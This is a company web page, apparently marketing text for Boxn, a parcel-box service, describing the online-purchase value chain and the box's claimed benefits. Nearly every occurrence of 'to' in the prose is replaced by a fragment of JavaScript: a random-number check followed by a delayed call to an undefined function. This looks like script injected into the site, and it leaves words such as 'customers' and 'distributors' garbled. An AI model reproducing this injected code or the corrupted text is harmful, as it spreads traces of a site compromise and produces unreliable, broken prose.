Value chain for Online purchases of physical goods

Value chain for Online purchases of physical goods – according dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Boxn ^tm 

At Boxn we believe that by organizing the end point for the cusdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers, it can be possible dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to balance the power in the value chain. The value chain can be divided indom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 3 parts. Seller (web shop) – recipient (Cusdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer) – and the delivery. Web shops exist in the millions, distribudom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors in the thousands, whereas cusdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers in the billions. 

The value chain of online purchases is driven by the laws of large numbers. webshops need dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sell as much as they can, therefore often offer free delivery when shopping for over “xx NOK”. Distribudom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors need dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deliver as many packages in the shortest amount of time and shortest amount of kilometres driven. 

Amazon aggregates web shops under their own umbrella dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a more dominant facdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor. Distribudom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors protect their interests by having specific demands on e.g. shipping labels etc. 

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Cusdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers operate unprotected as they are a large undisciplined flock of unorganized individuals. They purchase based on subjective decisions and some actually believe in the misnomer “Free freight”?!

They do not realise that they are actually paying for the merchandise, the freight and the profits. The profits that make Jeff Bezos of Amazon one of the world’s richest men. 

A unified parcel and post delivery box for every person and business. It may be dynamic and not fixed dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your address, but must be on your terms. 

Boxn should be at your home, but also at your place of business, in public parks or wherever you deem most convenient for your particular purchase on this particular day, from any web shop in the universe.

Boxn can eliminate: 

• the possibility of parcels “falling of the truck”
• non-delivery trips
• theft from the doorstep
• fraudulent claims of non-delivery from dishonest cusdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers

All of the above and in addition simplify and expedite returns, enable circular economy through real per-dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-per possibilities, reduce contact and spreading of virus and be a viable platform for recycling of packaging. 

Boxn believes in balancing the power in the value chain. Making it more efficient and profitable dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to all the participants in the value chain.  

Changes dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the value chain will happen.

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